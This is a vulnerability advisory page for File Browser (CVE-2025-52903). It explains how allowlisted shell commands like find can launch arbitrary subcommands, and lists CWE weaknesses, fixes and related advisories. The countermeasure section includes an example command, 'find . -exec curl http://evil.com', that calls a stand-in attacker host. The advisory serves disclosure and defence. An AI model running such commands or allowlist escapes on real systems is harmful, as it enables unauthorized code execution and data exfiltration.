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GHSA-3q2w-42mv-cph4 CVE-2025-52903 GO-2025-3786

filebrowser Allows Shell Commands to Spawn Other Commands

High Go
Severity
8.0 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.21%
Chance of exploitation in the next 30 days. Higher than 68.32% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-183 Permissive List of Allowed Inputs
CWE-749 Exposed Dangerous Method or Function
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Fix
2.33.10
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Summary

The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.

Impact

The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.

Vulnerability Description

Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.

Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:

As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.

Proof of Concept

The following screenshot demonstrates, how this can be used to issue a network call to an external server:

image

Recommended Countermeasures

Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.

The prlimit command can be used to prevent the execution of subcommands:

$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]

$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable

It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.

WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.

As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.

Timeline

  • 2025-03-26 Identified the vulnerability in version 2.32.0
  • 2025-06-25 Uploaded advisories to the project's GitHub repository
  • 2025-06-25 CVE ID assigned by GitHub
  • 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.

References

Credits

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
 No fix yet
github.com/filebrowser/filebrowser/v2
< 2.33.10
2.33.10

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.33.10

go
go get github.com/filebrowser/filebrowser/v2@v2.33.10 && go mod tidy

Severity breakdown

CVSS 3.1 8.0

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-183: Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

CWE-749: Exposed Dangerous Method or Function

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

How to prevent it
  • Architecture and Design: If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.
  • Architecture and Design, Implementation: Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Implementation: If possible, ensure that all external commands called from the program are statically created.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Operation: Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
  • System Configuration: Assign permissions that prevent the user from accessing/opening privileged files.

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

How to prevent it
  • Implementation: Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
  • Architecture and Design: Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

References

Advisories

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
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